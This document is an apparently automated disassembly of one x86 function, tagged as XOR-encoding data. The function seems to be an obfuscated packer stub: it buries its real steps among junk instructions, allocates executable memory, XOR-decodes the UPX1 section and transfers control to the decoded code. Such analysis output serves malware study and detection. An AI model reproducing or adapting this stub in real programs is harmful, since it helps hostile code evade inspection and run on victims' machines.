Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6e614e95
dec ecx
or eax, eax
and ecx, ecx
popal
mov eax, 0x5f3fb4c2
and eax, ecx
mov eax, ecx
mov eax, 0
mov ecx, edi
or esi, ebx
sub ebx, 0x35d77cb0
mov edx, ecx
sub esi, 0x8e706f96
sub ebx, 0xa05752ae
mov edi, edx
add esi, ebx
or ebx, ebx
inc eax
add esi, esi
sub esi, 0x8e74f600
sub ebx, 0x89b4500a
cmp eax, 0x10093b8
jne 0xa789c6
sub esi, 0x4bcfa178
mov ebx, esi
sub ebx, 0x654fa96f
mov ecx, eax
or ecx, eax
and eax, ecx
mov edx, 0xa78796
mov ebx, eax
inc eax
mov ecx, 0xa7898a
not edi
sub edi, eax
and edi, eax
mov esi, dword [edx]
mov eax, 0xc5dad3c1
add ebx, 1
not edi
and esi, 0xff
mov ebx, edi
not eax
xor dword [ecx], esi
not ebx
mov eax, ebx
dec ebx
inc ecx
sub ebx, eax
inc eax
sub eax, 1
inc edx
mov eax, ebx
add ebx, 0x718d0b7b
sub ebx, 1
cmp ecx, entry0
jl 0xa78a26
mov ebx, 0x8f78dcbd
not edi
not ebx
inc edi
sub esi, 0x62b29d
dec edi
add edi, edx
mov ecx, 0xa7898e
and edi, edi
dec ebx
mov ecx, dword [ecx]
mov ebx, edx
sub esi, edx
mov ecx, dword [ecx]
not edx
mov edi, 0x8a65adde
push ecx
mov esi, edx
sub ebx, 0xdcd5914e
mov ecx, 0xa7898a
sub esi, edi
not esi
mov ecx, dword [ecx]
or ebx, edx
and edx, ebx
not ebx
mov ecx, dword [ecx]
dec esi
and edx, edx
inc edx
push 0xa78992
add edi, edx
and ebx, ebx
call ecx
and edi, edi
not edx
pop ecx
mov edx, esi
or edi, ebx
push 0xa7899f
sub edi, 0x3dde95d5
and edx, edi
sub esp, 4
mov dword [esp], eax
sub esi, edi
inc edi
call ecx
dec esi
sub edx, ebx
push 0x40
add edx, 0x4ed8606d
add edx, esi
sub edi, 0x1614a60e
push 0x3000
mov edi, 0x8f9eb09e
or edx, esi
mov ebx, 0x407086ea
push 0x20000eee
mov edx, esi
not esi
dec edx
push 0
sub ebx, 0x536c4f9
add edi, ebx
call eax
sub esi, ebx
add edx, 0xe9428003
dec edi
add eax, 0x20000e2b
and edx, edx
dec edx
or edi, esi
mov ecx, 0x9ad00c44
add edi, 0xb3180efc
dec edx
sub ebx, edx
mov dword [eax], ecx
mov ebx, 0xf5c9e289
mov ebx, 0x1f02db2b
mov ecx, dword [eax]
and edx, ebx
mov edx, 0x75d19952
not edx
cmp ecx, 0x9ad00c44
je 0xa78b69
mov eax, 0
mov cl, byte [eax]
not ebx
add esi, edi
and esi, edx
add esi, 0xce3195ff
add eax, ecx
add eax, eax
mov ebx, section.UPX1
not eax
add eax, ecx
mov ecx, 0x7d6f97e1
mov edx, 0xa78795
mov ecx, 0x5a8959eb
add ecx, ecx
mov ecx, 0xf836f282
mov esi, 0
sub eax, ecx
inc eax
and eax, eax
mov edi, 0xa78796
add ecx, 0x142d5017
inc eax
and ecx, eax
lea edi, [esi + edi]
add ecx, eax
add ecx, 0xc403e98b
sub ecx, eax
mov edi, dword [edi]
add eax, eax
add eax, eax
sub ecx, eax
and edi, 0xff
or eax, ecx
not ecx
mov ecx, 0xebb71504
inc esi
sub eax, ecx
dec ecx
cmp esi, 0x1f4
jne 0xa78be5
mov esi, 0
add ecx, 1
not eax
mov eax, 0x152ee0c0
and eax, eax
inc ecx
inc eax
xor dword [ebx], edi
sub ecx, eax
add ecx, 1
add ebx, 2
not ecx
add ecx, 0x58dd5785
cmp ebx, edx
jl 0xa78ba2
dec eax
sub eax, 0xc1711e65
and ecx, ecx
add ecx, ecx
dec eax
mov ecx, eax
mov esi, section.UPX1
mov edx, ecx
dec ecx
mov edx, 0x28b8e61b
mov edi, section.UPX1
add edx, 1
mov ecx, edx
add ecx, edx
mov ebx, 0xa78795
inc ecx
add edx, 0xde87d308
not ecx
mov eax, 0
not ecx
add ecx, edx
mov al, byte [edi]
sub ecx, 0x75aa9c09
mov edx, 0x31aba5ac
add edx, edx
mov byte [esi], al
add edx, 1
sub ecx, edx
inc esi
sub edx, 0x1ad06699
sub edx, 1
add edi, 2
dec ecx
dec edx
cmp edi, ebx
jle 0xa78c57
mov ecx, edx
add ecx, edx
mov ecx, 0x3e8bc5a7
and ecx, ecx
add eax, 0x70d907f4
not ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
add ecx, 0x2f990965
sub ecx, 0x18c428a2
dec ecx
ret